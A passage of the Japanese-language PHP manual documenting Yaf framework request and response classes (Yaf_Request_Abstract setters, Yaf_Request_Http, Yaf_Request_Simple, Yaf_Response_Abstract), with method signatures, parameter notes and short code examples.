アクション名をリクエストに設定します。 このメソッドは通常、ルーティング結果のコントローラー名を設定するカスタムルータで使います。

パラメータ

action

アクション名を表すstring。 "index" や "foo_Bar" のように、小文字で表記すべきです。

format_name

Yaf 3.2.0 で追加されました。 デフォルトでは、Yaf は名前を小文字に変換しますが、 このパラメータを false に設定すると、指定された値そのままをリクエストに使います。

返り値

User Contributed Notes

There are no user contributed notes for this page.


ベース URI を設定する

  • ≪ Yaf_Request_Abstract::setActionName
  • Yaf_Request_Abstract::setControllerName ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • ベース URI を設定する

Yaf_Request_Abstract::setBaseUri

(Yaf >=1.0.0)

Yaf_Request_Abstract::setBaseUri — ベース URI を設定する

説明

public Yaf_Request_Abstract::setBaseUri ( string $uir ) : bool

ベース URI を設定します。ベース URI はルーティング時に使います。 ルーティングの際にはリクエスト URI を使ってリクエストを振り分けますが、 そのときに、ベース URI を使ってリクエスト URI の先頭部分を読み飛ばします。 たとえば、リクエスト URI が a/b/c でベース URI が "a/b" の場合、"/c" の部分だけを使ってルーティングします。

注意:

普通はこれを設定する必要はありません。Yaf が自動的に判断します。

パラメータ

uir

ベース URI。

返り値

bool

User Contributed Notes

There are no user contributed notes for this page.


コントローラー名を設定する

  • ≪ Yaf_Request_Abstract::setBaseUri
  • Yaf_Request_Abstract::setDispatched ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • コントローラー名を設定する

Yaf_Request_Abstract::setControllerName

(Yaf >=1.0.0)

Yaf_Request_Abstract::setControllerName — コントローラー名を設定する

説明

public Yaf_Request_Abstract::setControllerName ( string $controller , bool $format_name = true ) : void

コントローラー名をリクエストに設定します。 このメソッドは通常、ルーティング結果のコントローラー名を設定するカスタムルータで使います。

パラメータ

controller

コントローラー名を表す string。 "Index" や "Foo_Bar" のように、キャメルケースで表記すべきです。

format_name

Yaf 3.2.0 で追加されました。 デフォルトでは、Yaf は名前をキャメルケースでフォーマットしますが、 このパラメータを false に設定すると、指定された値そのままをリクエストに使います。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The setDispatched purpose

  • ≪ Yaf_Request_Abstract::setControllerName
  • Yaf_Request_Abstract::setModuleName ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • The setDispatched purpose

Yaf_Request_Abstract::setDispatched

(Yaf >=1.0.0)

Yaf_Request_Abstract::setDispatched — The setDispatched purpose

説明

public Yaf_Request_Abstract::setDispatched ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


モジュール名を設定する

  • ≪ Yaf_Request_Abstract::setDispatched
  • Yaf_Request_Abstract::setParam ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • モジュール名を設定する

Yaf_Request_Abstract::setModuleName

(Yaf >=1.0.0)

Yaf_Request_Abstract::setModuleName — モジュール名を設定する

説明

public Yaf_Request_Abstract::setModuleName ( string $module , bool $format_name = true ) : void

リクエストするモジュール名を設定します。 このメソッドは通常、ルーティング結果のモジュール名を設定するカスタムルータで使います。

パラメータ

module

モジュール名を表すstring。 "Index" や "Foo_Bar" のように、キャメルケースで表記すべきです。

format_name

Yaf 3.2.0 で追加されました。 デフォルトでは、Yaf は名前をキャメルケースでフォーマットしますが、 このパラメータを false に設定すると、指定された値そのままをリクエストに使います。

返り値

User Contributed Notes

There are no user contributed notes for this page.


呼び出しパラメータをリクエストに設定する

  • ≪ Yaf_Request_Abstract::setModuleName
  • Yaf_Request_Abstract::setRequestUri ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • 呼び出しパラメータをリクエストに設定する

Yaf_Request_Abstract::setParam

(Yaf >=1.0.0)

Yaf_Request_Abstract::setParam — 呼び出しパラメータをリクエストに設定する

説明

public Yaf_Request_Abstract::setParam ( string $name , string $value = ? ) : bool

パラメータをリクエストに設定します。 設定した値は、Yaf_Request_Abstract::getParam() で取得できます

パラメータ

name

value

返り値

参考

  • Yaf_Request_Abstract::getParam() - 呼び出しパラメータを取得する
  • Yaf_Request_Abstract::getParams() - 全ての呼び出しパラメータを取得する

User Contributed Notes

There are no user contributed notes for this page.


The setRequestUri purpose

  • ≪ Yaf_Request_Abstract::setParam
  • Yaf_Request_Abstract::setRouted ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • The setRequestUri purpose

Yaf_Request_Abstract::setRequestUri

(Yaf >=2.1.0)

Yaf_Request_Abstract::setRequestUri — The setRequestUri purpose

説明

public Yaf_Request_Abstract::setRequestUri ( string $uir ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

uir

返り値

User Contributed Notes

There are no user contributed notes for this page.


The setRouted purpose

  • ≪ Yaf_Request_Abstract::setRequestUri
  • Yaf_Request_Http ≫
  • PHP Manual
  • Yaf_Request_Abstract
  • The setRouted purpose

Yaf_Request_Abstract::setRouted

(Yaf >=1.0.0)

Yaf_Request_Abstract::setRouted — The setRouted purpose

説明

public Yaf_Request_Abstract::setRouted ( string $flag = ? ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

flag

返り値

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Request_Http クラス

(Yaf >=1.0.0)

はじめに

クライアントからのあらゆるリクエストは、 Yaf_Request_Http として初期化されます。 URI のクエリ文字列や POST パラメータなどの情報は、このクラスのメソッド経由で取得できます。

注意:

セキュリティの観点から、Yaf では $_GET/$_POST が読み込み専用となっています。つまり、 これらのグローバル変数の値を書き換えたとしても、 Yaf_Request_Http::getQuery() や Yaf_Request_Http::getPost() からはそれを取得できないということです。

しかし、ユニットテストの際などに、どうしても書き換えが必要になることもあります。 Yaf のビルド時に --enable-yaf-debug を指定すると、ユーザーがスクリプトで設定した値も Yaf で読み込めるようになります。

その際に、Yaf は E_STRICT レベルの警告 「Strict Standards: you are running yaf in debug mode」を発します。

クラス概要

Yaf_Request_Http extends Yaf_Request_Abstract {
/* プロパティ */
/* メソッド */
public __construct ( string $request_uri = ? , string $base_uri = ? )
public get ( string $name , string $default = ? ) : mixed
public getCookie ( string $name , string $default = ? ) : mixed
public getFiles ( ) : void
public getPost ( string $name , string $default = ? ) : mixed
public getQuery ( string $name , string $default = ? ) : mixed
public getRaw ( ) : mixed
public getRequest ( ) : void
public isXmlHttpRequest ( ) : bool
/* 継承したメソッド */
public Yaf_Request_Abstract::clearParams ( ) : bool
public Yaf_Request_Abstract::getActionName ( ) : void
public Yaf_Request_Abstract::getBaseUri ( ) : void
public Yaf_Request_Abstract::getControllerName ( ) : void
public Yaf_Request_Abstract::getEnv ( string $name , string $default = ? ) : void
public Yaf_Request_Abstract::getException ( ) : void
public Yaf_Request_Abstract::getLanguage ( ) : void
public Yaf_Request_Abstract::getMethod ( ) : string
public Yaf_Request_Abstract::getModuleName ( ) : void
public Yaf_Request_Abstract::getParam ( string $name , string $default = ? ) : mixed
public Yaf_Request_Abstract::getParams ( ) : array
public Yaf_Request_Abstract::getRequestUri ( ) : void
public Yaf_Request_Abstract::getServer ( string $name , string $default = ? ) : void
public Yaf_Request_Abstract::isCli ( ) : bool
public Yaf_Request_Abstract::isDispatched ( ) : bool
public Yaf_Request_Abstract::isGet ( ) : bool
public Yaf_Request_Abstract::isHead ( ) : bool
public Yaf_Request_Abstract::isOptions ( ) : bool
public Yaf_Request_Abstract::isPost ( ) : bool
public Yaf_Request_Abstract::isPut ( ) : bool
public Yaf_Request_Abstract::isRouted ( ) : bool
public Yaf_Request_Abstract::isXmlHttpRequest ( ) : bool
public Yaf_Request_Abstract::setActionName ( string $action , bool $format_name = true ) : void
public Yaf_Request_Abstract::setBaseUri ( string $uir ) : bool
public Yaf_Request_Abstract::setControllerName ( string $controller , bool $format_name = true ) : void
public Yaf_Request_Abstract::setDispatched ( ) : void
public Yaf_Request_Abstract::setModuleName ( string $module , bool $format_name = true ) : void
public Yaf_Request_Abstract::setParam ( string $name , string $value = ? ) : bool
public Yaf_Request_Abstract::setRequestUri ( string $uir ) : void
public Yaf_Request_Abstract::setRouted ( string $flag = ? ) : void
}

プロパティ

module

controller

action

method

params

language

_exception

_base_uri

uri

dispatched

routed

目次

  • Yaf_Request_Http::__construct — Yaf_Request_Http のコンストラクタ
  • Yaf_Request_Http::get — クライアントからの変数を取得する
  • Yaf_Request_Http::getCookie — Cookie 変数を取得する
  • Yaf_Request_Http::getFiles — The getFiles purpose
  • Yaf_Request_Http::getPost — POST 変数を取得する
  • Yaf_Request_Http::getQuery — クエリパラメータを取得する
  • Yaf_Request_Http::getRaw — 生のリクエストボディを取得する
  • Yaf_Request_Http::getRequest — The getRequest purpose
  • Yaf_Request_Http::isXmlHttpRequest — リクエストが Ajax リクエストかどうかを判断する

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Request_Http のコンストラクタ

  • ≪ Yaf_Request_Http
  • Yaf_Request_Http::get ≫
  • PHP Manual
  • Yaf_Request_Http
  • Yaf_Request_Http のコンストラクタ

Yaf_Request_Http::__construct

(Yaf >=1.0.0)

Yaf_Request_Http::__construct — Yaf_Request_Http のコンストラクタ

説明

public Yaf_Request_Http::__construct ( string $request_uri = ? , string $base_uri = ? )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


クライアントからの変数を取得する

  • ≪ Yaf_Request_Http::__construct
  • Yaf_Request_Http::getCookie ≫
  • PHP Manual
  • Yaf_Request_Http
  • クライアントからの変数を取得する

Yaf_Request_Http::get

(Yaf >=1.0.0)

Yaf_Request_Http::get — クライアントからの変数を取得する

説明

public Yaf_Request_Http::get ( string $name , string $default = ? ) : mixed

クライアントからの変数を取得します。このメソッドは、まずリクエストのパラメータから name を探し、見つからない場合は POST、GET、Cookie、Server を調べます。

パラメータ

name

変数名。

default

このパラメータを指定すると、変数が見つからない場合にこの値を返すようになります。

返り値

参考

  • Yaf_Request_Http::getQuery() - クエリパラメータを取得する
  • Yaf_Request_Http::getPost() - POST 変数を取得する
  • Yaf_Request_Http::getCookie() - Cookie 変数を取得する
  • Yaf_Request_Http::getRaw() - 生のリクエストボディを取得する
  • Yaf_Request_Abstract::getServer() - SERVER 変数を取得する
  • Yaf_Request_Abstract::getParam() - 呼び出しパラメータを取得する

User Contributed Notes

There are no user contributed notes for this page.


Cookie 変数を取得する

  • ≪ Yaf_Request_Http::get
  • Yaf_Request_Http::getFiles ≫
  • PHP Manual
  • Yaf_Request_Http
  • Cookie 変数を取得する

Yaf_Request_Http::getCookie

(Yaf >=1.0.0)

Yaf_Request_Http::getCookie — Cookie 変数を取得する

説明

public Yaf_Request_Http::getCookie ( string $name , string $default = ? ) : mixed

Cookie 変数を取得します。

パラメータ

name

クッキー名。

default

このパラメータを指定すると、クッキーが見つからない場合にこの値を返すようになります。

返り値

参考

  • Yaf_Request_Http::get() - クライアントからの変数を取得する
  • Yaf_Request_Http::getQuery() - クエリパラメータを取得する
  • Yaf_Request_Http::getPost() - POST 変数を取得する
  • Yaf_Request_Http::getRaw() - 生のリクエストボディを取得する
  • Yaf_Request_Abstract::getServer() - SERVER 変数を取得する
  • Yaf_Request_Abstract::getParam() - 呼び出しパラメータを取得する

User Contributed Notes

There are no user contributed notes for this page.


The getFiles purpose

  • ≪ Yaf_Request_Http::getCookie
  • Yaf_Request_Http::getPost ≫
  • PHP Manual
  • Yaf_Request_Http
  • The getFiles purpose

Yaf_Request_Http::getFiles

(Yaf >=1.0.0)

Yaf_Request_Http::getFiles — The getFiles purpose

説明

public Yaf_Request_Http::getFiles ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


POST 変数を取得する

  • ≪ Yaf_Request_Http::getFiles
  • Yaf_Request_Http::getQuery ≫
  • PHP Manual
  • Yaf_Request_Http
  • POST 変数を取得する

Yaf_Request_Http::getPost

(Yaf >=1.0.0)

Yaf_Request_Http::getPost — POST 変数を取得する

説明

public Yaf_Request_Http::getPost ( string $name , string $default = ? ) : mixed

POST 変数を取得します。

パラメータ

name

変数名。

default

このパラメータを指定すると、変数が見つからない場合にこの値を返すようになります。

返り値

参考

  • Yaf_Request_Http::get() - クライアントからの変数を取得する
  • Yaf_Request_Http::getQuery() - クエリパラメータを取得する
  • Yaf_Request_Http::getCookie() - Cookie 変数を取得する
  • Yaf_Request_Http::getRaw() - 生のリクエストボディを取得する
  • Yaf_Request_Abstract::getServer() - SERVER 変数を取得する
  • Yaf_Request_Abstract::getParam() - 呼び出しパラメータを取得する

User Contributed Notes

There are no user contributed notes for this page.


クエリパラメータを取得する

  • ≪ Yaf_Request_Http::getPost
  • Yaf_Request_Http::getRaw ≫
  • PHP Manual
  • Yaf_Request_Http
  • クエリパラメータを取得する

Yaf_Request_Http::getQuery

(Yaf >=1.0.0)

Yaf_Request_Http::getQuery — クエリパラメータを取得する

説明

public Yaf_Request_Http::getQuery ( string $name , string $default = ? ) : mixed

GET 変数を取得します。

パラメータ

name

変数名。

default

このパラメータを指定すると、変数が見つからない場合にこの値を返すようになります。

返り値

参考

  • Yaf_Request_Http::get() - クライアントからの変数を取得する
  • Yaf_Request_Http::getPost() - POST 変数を取得する
  • Yaf_Request_Http::getCookie() - Cookie 変数を取得する
  • Yaf_Request_Http::getRaw() - 生のリクエストボディを取得する
  • Yaf_Request_Abstract::getServer() - SERVER 変数を取得する
  • Yaf_Request_Abstract::getParam() - 呼び出しパラメータを取得する

User Contributed Notes

There are no user contributed notes for this page.


生のリクエストボディを取得する

  • ≪ Yaf_Request_Http::getQuery
  • Yaf_Request_Http::getRequest ≫
  • PHP Manual
  • Yaf_Request_Http
  • 生のリクエストボディを取得する

Yaf_Request_Http::getRaw

(Yaf >=3.0.7)

Yaf_Request_Http::getRaw — 生のリクエストボディを取得する

説明

public Yaf_Request_Http::getRaw ( ) : mixed

生のリクエストボディを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に文字列を、失敗した場合に FALSE を返します。

参考

  • Yaf_Request_Http::get() - クライアントからの変数を取得する
  • Yaf_Request_Http::getPost() - POST 変数を取得する
  • Yaf_Request_Http::getCookie() - Cookie 変数を取得する
  • Yaf_Request_Http::getQuery() - クエリパラメータを取得する
  • Yaf_Request_Abstract::getServer() - SERVER 変数を取得する
  • Yaf_Request_Abstract::getParam() - 呼び出しパラメータを取得する

User Contributed Notes

There are no user contributed notes for this page.


The getRequest purpose

  • ≪ Yaf_Request_Http::getRaw
  • Yaf_Request_Http::isXmlHttpRequest ≫
  • PHP Manual
  • Yaf_Request_Http
  • The getRequest purpose

Yaf_Request_Http::getRequest

(Yaf >=1.0.0)

Yaf_Request_Http::getRequest — The getRequest purpose

説明

public Yaf_Request_Http::getRequest ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


リクエストが Ajax リクエストかどうかを判断する

  • ≪ Yaf_Request_Http::getRequest
  • Yaf_Request_Simple ≫
  • PHP Manual
  • Yaf_Request_Http
  • リクエストが Ajax リクエストかどうかを判断する

Yaf_Request_Http::isXmlHttpRequest

(Yaf >=1.0.0)

Yaf_Request_Http::isXmlHttpRequest — リクエストが Ajax リクエストかどうかを判断する

説明

public Yaf_Request_Http::isXmlHttpRequest ( ) : bool

そのリクエストが Ajax リクエストであるかどうかを調べます。

注意:

このメソッドはリクエストヘッダーの HTTP_X_REQUESTED_WITH を見て判断しますが、 Javascript ライブラリの中には、Ajax リクエストの際にこのヘッダーをセットしないものがあります。

パラメータ

この関数にはパラメータはありません。

返り値

boolean

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Request_Simple クラス

(Yaf >=1.0.0)

はじめに

Yaf_Request_Simple は、 テスト用に使うためのクラスです。 つまり、特定のリクエストを CLI モードでシミュレートしたりするときに使います。

クラス概要

Yaf_Request_Simple extends Yaf_Request_Abstract {
/* 定数 */
const string SCHEME_HTTP = http ;
const string SCHEME_HTTPS = https ;
/* プロパティ */
/* メソッド */
public __construct ( string $method = ? , string $module = ? , string $controller = ? , string $action = ? , array $params = ? )
public get ( ) : void
public getCookie ( ) : void
public getFiles ( ) : void
public getPost ( ) : void
public getQuery ( ) : void
public getRequest ( ) : void
public isXmlHttpRequest ( ) : void
/* 継承したメソッド */
public Yaf_Request_Abstract::clearParams ( ) : bool
public Yaf_Request_Abstract::getActionName ( ) : void
public Yaf_Request_Abstract::getBaseUri ( ) : void
public Yaf_Request_Abstract::getControllerName ( ) : void
public Yaf_Request_Abstract::getEnv ( string $name , string $default = ? ) : void
public Yaf_Request_Abstract::getException ( ) : void
public Yaf_Request_Abstract::getLanguage ( ) : void
public Yaf_Request_Abstract::getMethod ( ) : string
public Yaf_Request_Abstract::getModuleName ( ) : void
public Yaf_Request_Abstract::getParam ( string $name , string $default = ? ) : mixed
public Yaf_Request_Abstract::getParams ( ) : array
public Yaf_Request_Abstract::getRequestUri ( ) : void
public Yaf_Request_Abstract::getServer ( string $name , string $default = ? ) : void
public Yaf_Request_Abstract::isCli ( ) : bool
public Yaf_Request_Abstract::isDispatched ( ) : bool
public Yaf_Request_Abstract::isGet ( ) : bool
public Yaf_Request_Abstract::isHead ( ) : bool
public Yaf_Request_Abstract::isOptions ( ) : bool
public Yaf_Request_Abstract::isPost ( ) : bool
public Yaf_Request_Abstract::isPut ( ) : bool
public Yaf_Request_Abstract::isRouted ( ) : bool
public Yaf_Request_Abstract::isXmlHttpRequest ( ) : bool
public Yaf_Request_Abstract::setActionName ( string $action , bool $format_name = true ) : void
public Yaf_Request_Abstract::setBaseUri ( string $uir ) : bool
public Yaf_Request_Abstract::setControllerName ( string $controller , bool $format_name = true ) : void
public Yaf_Request_Abstract::setDispatched ( ) : void
public Yaf_Request_Abstract::setModuleName ( string $module , bool $format_name = true ) : void
public Yaf_Request_Abstract::setParam ( string $name , string $value = ? ) : bool
public Yaf_Request_Abstract::setRequestUri ( string $uir ) : void
public Yaf_Request_Abstract::setRouted ( string $flag = ? ) : void
}

プロパティ

module

controller

action

method

params

language

_exception

_base_uri

uri

dispatched

routed

定義済み定数

Yaf_Request_Simple::SCHEME_HTTP

Yaf_Request_Simple::SCHEME_HTTPS

目次

  • Yaf_Request_Simple::__construct — Yaf_Request_Simple のコンストラクタ
  • Yaf_Request_Simple::get — The get purpose
  • Yaf_Request_Simple::getCookie — The getCookie purpose
  • Yaf_Request_Simple::getFiles — The getFiles purpose
  • Yaf_Request_Simple::getPost — The getPost purpose
  • Yaf_Request_Simple::getQuery — The getQuery purpose
  • Yaf_Request_Simple::getRequest — The getRequest purpose
  • Yaf_Request_Simple::isXmlHttpRequest — リクエストが AJAX 経由のリクエストかどうかを判定する

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Request_Simple のコンストラクタ

  • ≪ Yaf_Request_Simple
  • Yaf_Request_Simple::get ≫
  • PHP Manual
  • Yaf_Request_Simple
  • Yaf_Request_Simple のコンストラクタ

Yaf_Request_Simple::__construct

(Yaf >=1.0.0)

Yaf_Request_Simple::__construct — Yaf_Request_Simple のコンストラクタ

説明

public Yaf_Request_Simple::__construct ( string $method = ? , string $module = ? , string $controller = ? , string $action = ? , array $params = ? )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The get purpose

  • ≪ Yaf_Request_Simple::__construct
  • Yaf_Request_Simple::getCookie ≫
  • PHP Manual
  • Yaf_Request_Simple
  • The get purpose

Yaf_Request_Simple::get

(Yaf >=1.0.0)

Yaf_Request_Simple::get — The get purpose

説明

public Yaf_Request_Simple::get ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The getCookie purpose

  • ≪ Yaf_Request_Simple::get
  • Yaf_Request_Simple::getFiles ≫
  • PHP Manual
  • Yaf_Request_Simple
  • The getCookie purpose

Yaf_Request_Simple::getCookie

(Yaf >=1.0.0)

Yaf_Request_Simple::getCookie — The getCookie purpose

説明

public Yaf_Request_Simple::getCookie ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The getFiles purpose

  • ≪ Yaf_Request_Simple::getCookie
  • Yaf_Request_Simple::getPost ≫
  • PHP Manual
  • Yaf_Request_Simple
  • The getFiles purpose

Yaf_Request_Simple::getFiles

(Yaf >=1.0.0)

Yaf_Request_Simple::getFiles — The getFiles purpose

説明

public Yaf_Request_Simple::getFiles ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The getPost purpose

  • ≪ Yaf_Request_Simple::getFiles
  • Yaf_Request_Simple::getQuery ≫
  • PHP Manual
  • Yaf_Request_Simple
  • The getPost purpose

Yaf_Request_Simple::getPost

(Yaf >=1.0.0)

Yaf_Request_Simple::getPost — The getPost purpose

説明

public Yaf_Request_Simple::getPost ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The getQuery purpose

  • ≪ Yaf_Request_Simple::getPost
  • Yaf_Request_Simple::getRequest ≫
  • PHP Manual
  • Yaf_Request_Simple
  • The getQuery purpose

Yaf_Request_Simple::getQuery

(Yaf >=1.0.0)

Yaf_Request_Simple::getQuery — The getQuery purpose

説明

public Yaf_Request_Simple::getQuery ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The getRequest purpose

  • ≪ Yaf_Request_Simple::getQuery
  • Yaf_Request_Simple::isXmlHttpRequest ≫
  • PHP Manual
  • Yaf_Request_Simple
  • The getRequest purpose

Yaf_Request_Simple::getRequest

(Yaf >=1.0.0)

Yaf_Request_Simple::getRequest — The getRequest purpose

説明

public Yaf_Request_Simple::getRequest ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


リクエストが AJAX 経由のリクエストかどうかを判定する

  • ≪ Yaf_Request_Simple::getRequest
  • Yaf_Response_Abstract ≫
  • PHP Manual
  • Yaf_Request_Simple
  • リクエストが AJAX 経由のリクエストかどうかを判定する

Yaf_Request_Simple::isXmlHttpRequest

(Yaf >=1.0.0)

Yaf_Request_Simple::isXmlHttpRequest — リクエストが AJAX 経由のリクエストかどうかを判定する

説明

public Yaf_Request_Simple::isXmlHttpRequest ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

常に false を返します。

参考

  • Yaf_Request_Abstract::isXmlHTTPRequest() - AJAXリクエストかどうかを判定する
  • Yaf_Request_Http::isXmlHTTPRequest() - リクエストが Ajax リクエストかどうかを判断する

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Response_Abstract クラス

(Yaf >=1.0.0)

はじめに

クラス概要

Yaf_Response_Abstract {
/* 定数 */
const string DEFAULT_BODY = "content" ;
/* プロパティ */
protected $_header ;
protected $_body ;
protected $_sendheader ;
/* メソッド */
public appendBody ( string $content , string $key = ? ) : bool
public clearBody ( string $key = ? ) : bool
public clearHeaders ( ) : void
public __construct ( )
public __destruct ( ) : void
public getBody ( string $key = ? ) : mixed
public getHeader ( ) : void
public prependBody ( string $content , string $key = ? ) : bool
public response ( ) : void
protected setAllHeaders ( ) : void
public setBody ( string $content , string $key = ? ) : bool
public setHeader ( string $name , string $value , bool $replace = ? ) : bool
public setRedirect ( string $url ) : bool
private __toString ( ) : string
}

プロパティ

_header

_body

_sendheader

目次

  • Yaf_Response_Abstract::appendBody — レスポンス本文に追記する
  • Yaf_Response_Abstract::clearBody — 既存のすべてのレスポンス本文を破棄します
  • Yaf_Response_Abstract::clearHeaders — すべてのヘッダをクリアする
  • Yaf_Response_Abstract::__construct — The __construct purpose
  • Yaf_Response_Abstract::__destruct — The __destruct purpose
  • Yaf_Response_Abstract::getBody — コンテンツを取得する
  • Yaf_Response_Abstract::getHeader — getHeader の目的
  • Yaf_Response_Abstract::prependBody — The prependBody purpose
  • Yaf_Response_Abstract::response — レスポンスを送信する
  • Yaf_Response_Abstract::setAllHeaders — The setAllHeaders purpose
  • Yaf_Response_Abstract::setBody — コンテンツをレスポンスに設定する
  • Yaf_Response_Abstract::setHeader — レスポンスヘッダを設定する
  • Yaf_Response_Abstract::setRedirect — The setRedirect purpose
  • Yaf_Response_Abstract::__toString — すべてのレスポンスボディを文字列として取得する

User Contributed Notes

There are no user contributed notes for this page.


レスポンス本文に追記する

  • ≪ Yaf_Response_Abstract
  • Yaf_Response_Abstract::clearBody ≫
  • PHP Manual
  • Yaf_Response_Abstract
  • レスポンス本文に追記する

Yaf_Response_Abstract::appendBody

(Yaf >=1.0.0)

Yaf_Response_Abstract::appendBody — レスポンス本文に追記する

説明

public Yaf_Response_Abstract::appendBody ( string $content , string $key = ? ) : bool

既存のコンテンツブロックの後にコンテンツを追加します。

パラメータ

body

コンテンツ文字列。

key

コンテンツのキー。キーを指定しない場合は、 Yaf_Response_Abstract::DEFAULT_BODY を使います。

注意:

このパラメータは 2.2.0 で導入されました。

返り値

bool

例

例1 Yaf_Response_Abstract::appendBody() の例

<?php
$response = new Yaf_Response_Http();

$response->setBody("Hello")->prependBody(" World");

echo $response;
?>

上の例の出力は、 たとえば以下のようになります。

Hello World

参考

  • Yaf_Config_Ini

参考

  • Yaf_Response_Abstract::getBody() - コンテンツを取得する
  • Yaf_Response_Abstract::setBody() - コンテンツをレスポンスに設定する
  • Yaf_Response_Abstract::prependBody() - The prependBody purpose
  • Yaf_Response_Abstract::clearBody() - 既存のすべてのレスポンス本文を破棄します

User Contributed Notes

There are no user contributed notes for this page.


既存のすべてのレスポンス本文を破棄します

  • ≪ Yaf_Response_Abstract::appendBody
  • Yaf_Response_Abstract::clearHeaders ≫
  • PHP Manual
  • Yaf_Response_Abstract
  • 既存のすべてのレスポンス本文を破棄します

Yaf_Response_Abstract::clearBody

(Yaf >=1.0.0)

Yaf_Response_Abstract::clearBody — 既存のすべてのレスポンス本文を破棄します

説明

public Yaf_Response_Abstract::clearBody ( string $key = ? ) : bool

既存のコンテンツを消去します。

パラメータ

key

コンテンツのキー。キーを指定しない場合は、すべてのコンテンツを消去します。

注意:

このパラメータは 2.2.0 で導入されました。

返り値

参考

  • Yaf_Response_Abstract::setBody() - コンテンツをレスポンスに設定する
  • Yaf_Response_Abstract::appendBody() - レスポンス本文に追記する
  • Yaf_Response_Abstract::prependBody() - The prependBody purpose
  • Yaf_Response_Abstract::getBody() - コンテンツを取得する

User Contributed Notes

There are no user contributed notes for this page.


すべてのヘッダをクリアする

  • ≪ Yaf_Response_Abstract::clearBody
  • Yaf_Response_Abstract::__construct ≫
  • PHP Manual
  • Yaf_Response_Abstract
  • すべてのヘッダをクリアする

Yaf_Response_Abstract::clearHeaders

(Yaf >=1.0.0)

Yaf_Response_Abstract::clearHeaders — すべてのヘッダをクリアする

説明

public Yaf_Response_Abstract::clearHeaders ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • Yaf_Response_Abstract::getHeader() - getHeader の目的
  • Yaf_Response_Abstract::setHeader() - レスポンスヘッダを設定する

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • ≪ Yaf_Response_Abstract::clearHeaders
  • Yaf_Response_Abstract::__destruct ≫
  • PHP Manual
  • Yaf_Response_Abstract
  • The __construct purpose

Yaf_Response_Abstract::__construct

(Yaf >=1.0.0)

Yaf_Response_Abstract::__construct — The __construct purpose

説明

public Yaf_Response_Abstract::__construct ( )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The __destruct purpose

  • ≪ Yaf_Response_Abstract::__construct
  • Yaf_Response_Abstract::getBody ≫
  • PHP Manual
  • Yaf_Response_Abstract
  • The __destruct purpose

Yaf_Response_Abstract::__destruct

(Yaf >=1.0.0)

Yaf_Response_Abstract::__destruct — The __destruct purpose

説明

public Yaf_Response_Abstract::__destruct ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


コンテンツを取得する

  • ≪ Yaf_Response_Abstract::__destruct
  • Yaf_Response_Abstract::getHeader ≫
  • PHP Manual
  • Yaf_Response_Abstract
  • コンテンツを取得する

Yaf_Response_Abstract::getBody

(Yaf >=1.0.0)

Yaf_Response_Abstract::getBody — コンテンツを取得する

説明

public Yaf_Response_Abstract::getBody ( string $key = ? ) : mixed

コンテンツを取得します。

パラメータ

key

コンテンツのキー。キーを指定しない場合は、Yaf_Response_Abstract::DEFAULT_BODY を使います。null を渡すと、すべてのコンテンツを配列で返します。 as a array

注意:

このパラメータは 2.2.0 で導入されました。

返り値

例

例1 Yaf_Response_Abstract::getBody() の例

<?php
$response = new Yaf_Response_Http();

$response->setBody("Hello")->setBody(" World", "footer");

var_dump($response->getBody()); // デフォルト
var_dump($response->getBody(Yaf_Response_Abstract::DEFAULT_BODY)); // 上の行と同じ
var_dump($response->getBody("footer"));
